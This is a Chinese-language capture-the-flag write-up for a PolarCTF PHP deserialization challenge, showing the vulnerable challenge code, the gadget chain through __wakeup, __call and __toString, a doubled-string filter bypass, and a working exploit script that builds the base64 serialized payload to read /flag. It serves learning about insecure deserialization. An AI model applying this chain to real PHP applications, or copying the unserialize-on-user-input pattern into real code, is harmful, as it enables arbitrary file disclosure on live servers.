【PolarCTF】PHP_Deserialization

复制代码
<?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    // 当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

__call魔术方法

当调用一个对象中不存在(或者访问权限不足,比如私有 / 受保护)的实例方法时,会自动触发 __call()

我们的攻击链如下:

复制代码
unserialize()
    ↓
Polar::__wakeup()
    ↓
$this->night->hacker($this->night_arg);
    ↓
$this->night = Night对象(Night存在__call)
    ↓
Night::__call($name, $arguments)
    ↓
echo "xxx" . $arguments[0]; 
    ↓
$arguments[0] = Day对象,对象参与字符串拼接 → Day::__toString()
    ↓
file_get_contents($this->filename) 读取文件!

反序列化Polar类会自动触发__wakup,我们可以将night赋值为Night的实例,由于Night不存在hacker函数则会触发__call魔术方法

在class Night中使用echo 输出了$atguments0,这个操作可以触发__toString的魔术方法,那么我们可以将night_arg赋值为class Day的实例

这样就可以触发class Day的__toString魔术方法,但是由于其中使用了str_replace进行过滤,我们可以将$filename="/flag"进行双写为/flaflagg来绕过str_replace的过滤

EXP如下

php 复制代码
<?php

class Polar
{
    public $night;
    public $night_arg;
  

}

class Night
{
    
}

class Day
{
    public $filename="/flflagag";

}


$polar = new Polar();
$night = new Night();
$Day = new Day();

$polar->night = $night;
$polar->night_arg = $Day;


echo base64_encode(serialize($polar))


?>
相关推荐
艺杯羹1 小时前
1Panel 装好后 ufw 仍是 inactive:一次服务器安全盲区复盘
服务器·数据库·安全·网络安全·系统架构·实战·1panel
菩提小狗8 小时前
每日安全情报报告 · 2026-11-14
网络安全·漏洞·cve·安全情报·每日安全
博闻善行10 小时前
CTF之web篇(入门篇)
web安全·网络安全
Splashtop高性能远程控制软件1 天前
微软2026年11月补丁星期二解析:1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级
microsoft·网络安全·outlook·补丁管理·漏洞管理
Thanks_ks2 天前
HTTPS:浏览器地址栏那把锁的工作原理
http·网络安全·https·tls·加密算法·数字证书·中间人攻击
曾令胜4 天前
云服务器被攻击后分析恶意脚本修复漏洞
网络安全·安全威胁分析
菩提小狗5 天前
每日安全情报报告 · 2026-11-09
网络安全·漏洞·cve·安全情报·每日安全
东姬AI5 天前
挖出948个内核漏洞、自动写补丁:GPT-6 Cyber把AI推进“实战岗“,内容行业还卡在哪一关?
人工智能·网络安全·openai·gpt-6
ppo_wu6 天前
解决夸克网盘自动修改PDF打开方式的方法
经验分享·安全·网络安全
kingx36 天前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf